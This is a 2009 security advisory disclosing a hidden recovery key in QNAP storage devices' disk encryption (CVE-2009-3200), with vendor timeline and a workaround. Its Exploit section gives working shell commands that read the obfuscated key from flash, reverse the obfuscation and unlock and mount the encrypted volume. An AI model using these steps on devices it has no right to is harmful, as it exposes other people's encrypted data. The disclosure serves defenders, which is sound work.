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  Заклада в шифровании устройств хранения информации Qnap

From:Marc Heuse <mh_(at)_baseline-security.de>
Date:21 сентября 2009 г.
Subject:Advisory: Crypto backdoor in Qnap storage devices (CVE-2009-3200)

________________________________________________________________________

Title: Crypto backdoor in Qnap storage devices
Date:  18 September 2009
URL:
CVE-2009-3200.txt" class="fixed">http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.
txt

________________________________________________________________________

Vendor:                QNAP Systems
Products (verified):   TS-239 Pro, TS-639 Pro
Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,
                      TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP
Vulnerability:         hard disk encryption bypass due recovery key
Affected Releases:     3.1.1 0815, 3.1.0 0627, 2.1.7 0613,
                      and presumably all other
Severity:              Moderate/High
CVE:                   CVE-2009-3200

________________________________________________________________________

Overview:

 The premium and new line of QNAP network storage solutions allow
 for full hard disk encryption. When rebooting, the user has to
 unlock the hard disk by supplying the encryption passphrase via
 the web GUI.

 However, when the hard disk is encrypted, a secondary key is
 created, added to the keyring, and stored in the flash with minor
 obfuscation.


Impact:

 The encrypted hard disk can be unlocked and potential sensitive
 contents access by attackers who obtain physical or network
 access to the hard disk and flash.


Description:

 When a user selects in the web GUI to encrypt a hard drive, he
 has to supply a passphrase of 8-16 length.
 The Qnap solution is to use the underlying Linux standard
 mechanisms of LUKS to create the encrypted partition.
 The user supplied passphrase is crypt(3)'ed with the MD5 salt
 of $1$YCCaQNAP$ and used as the initial key to access the LUKS
 master key for the drive.

 Additionally, the system creates a second key, which is 32
 characters long and contains all low case characters and the
 numbers 0-9, and adds it to the LUKS keyring:
 /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
     --key-file=/tmp/temp.rUBxFo

 Before writing the second key to the flash, the key is then
 obfuscated in the following way:
 the first six characters are reversed and written to the end
 of the string.
 The obfuscated string is then written to the flash (/dev/sdx6
 on current Qnap storage devices) in the ENCK variable.


Exploit:

 An attacker - or user who has lost his passphrase - just needs
 to do the following:

 1. Obtain the backdoor key from the flash:
      #  strings /dev/sdx6 | grep ENCK
      ENCK=ghijklmnopqrstuvwxyz012345fedcba
    It is possible that several ENCK keys show up.

 2. The key has then to be deobfuscated. The last 6 characters have
    to be taken, reversed, and put in front of the string:

    ENCK key before: ghijklmnopqrstuvwxyz012345fedcba
    ENCK key after:  abcdefghijklmnopqrstuvwxyz012345

 3. The key file has to be created:
      # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key

 4. The encrypted volume is unlocked and mounted. The device is
    usually /dev/md0 or /dev/sda3.
      # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
      key slot 0 unlocked.
      Command successful.
      # mount /dev/mapper/md0 /share/MD0_DATA
    Full access to the encrypted volume has been obtained.


Additional Weaknesses:

 The backdoor key is generated by rand() calls. As the rand()
 function produces random numbers unsuitable for cryptographic
 keys. The cryptographic strength of this generated key is
 approx 2^32, hence feasible for breaking. This would make
 access to the flash unnecessary.

 The LUKS partition is created in AES-256 in plain CBC mode. This
 mode is susceptible to watermark attacks.


Solution:

 No fix is available from the vendor yet and scheduled for the
 following month.

 The official company statement is:
 "The security notice from Baseline Security was received by Qnap
 on the 16th September 2009 and rated as important.
 Currently, a new and enhanced firmware version is already in
 testing. An update is planned for the following month"

 As this was implemented on purpose by the vendor, and feedback
 from the taiwanese development team was scarce, it was decided
 to publish the information to put public pressure on the company
 to ensure not only supplying a quick update, but also announcing
 the issue properly so users see the need for installed the
 coming imporant firmware update.

 It was proposed to the vendor to remove the key from the keyring
 as described in the workaround section.
 Additionally the ENCK values in the flash should be overwritten.

 Once a firmware update is available, it will be tested that it
 removes the crypto backdoor.
 Watch the advisory URL for updates:

CVE-2009-3200.txt" class="fixed">http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.
txt


Workaround:

 There is no workaround available which can be used by a novice
 user.

 The best solution is to remove the backdoor key from keyslot 0.
 However this requires hashing the user passphrase. For this, a
 Linux system has to be available, which has the "mkpasswd" command
 installed (whois package).
 Execute:
   # mkpasswd --hash=md5 --salt='YCCaQNAP'
 and enter the password on the Password: prompt. Copy the outout.

 On the Qnap device, create the keyfile with the password hash:
   # echo -n "...the output of mkpasswd..." > /tmp/mykey

 Now remove the backdoor key:
   # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey

 Remove all sensitive data, wipe the shell history, and logoff:
   # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
   # rm /tmp/mykey /tmp/key
   # HISTSIZE=0
   # exit

 As an additional measure, the flash can be edited and the saved
 key overwritten (this requires the ipkg package installed).
 Install a hex editor, run the hexeditor on the flash, and
 overwrite ENCK values:
   # ipkg install hexcurse
   # hexcurse /dev/sdx6
   (a hex editor window is loading)
   Type Control-F, then 454e434b and hit Enter.
   Use the cursor keys to the character string after the "ENCK="
   string and then type in as many "A" characters, until the string
   is full. Type Control-S to save, adn Control-Q to quit.

 Please note that no liability is given whatsoever by anyone
 if the workaround is used. It is recommended to be performed
 by experienced users only.


Original Vendor FUD:

 "The functionality for encryption the hard disk does not include
  a crypto backdoor."
 (in response to a user question why two keyslots are allocated,
 and if this is because of a backdoor)
 http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346
 http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341

________________________________________________________________________

Credit:

 Analysis performed thanks to the ultimate binary analysis tool
 BinNavi by Zynamics, and the great - and free - IDA Pro
 Dissassembler 4.9 by Datarescue.

 Greets to the teams at Red Database Security, Recurity Labs,
 THC and n.runs.

________________________________________________________________________

Vendor communication:

 10 September 2009   Issue posted in the Qnap support forum

 15 September 2009   Notification on crypto backdoor sent directly
                     to Qnap to force a response, giving 72 hours
                     to explain why the backdoor exists, when and
                     how it will be removed, and how this
                     information will be made available to the users.

 15 September 2009   Qnap support contact confirms notification,
                     and informs of forwarding to support team
                     in Taiwan for clarification

 16 September 2009   Phone cann from Qnap representive, stating
                     this issue is a high priority

 18 September 2009   No statement from Qnap was given on why the
                     backdoor exists and if and when it will be
                     removed.

 18 September 2009   This advisory is released

________________________________________________________________________

Contact:

[email protected]

Baseline Security Consulting
http://www.baseline-security.de

________________________________________________________________________

The information provided is released "as is" without warranty of
any kind. The publisher disclaims all warranties, either express or
implied, including all warranties of merchantability.
No responsibility is taken for the correctness of this information.
In no event shall the publisher be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of
business profits or special damages, even if the publisher has been
advised of the possibility of such damages.


The contents of this advisory is copyright (c) 2009 by Marc Heuse
and may be distributed freely provided that no fee is charged for
the distribution and proper credit is given.

________________________________________________________________________


--
Marc Heuse
Mobil: +49 177 9611560
Fax: +49 30 28097468
www.baseline-security.de

Baseline Security Consulting
Chausseestr. 15
10115 Berlin

Ust.-Ident.-Nr.: DE244222388
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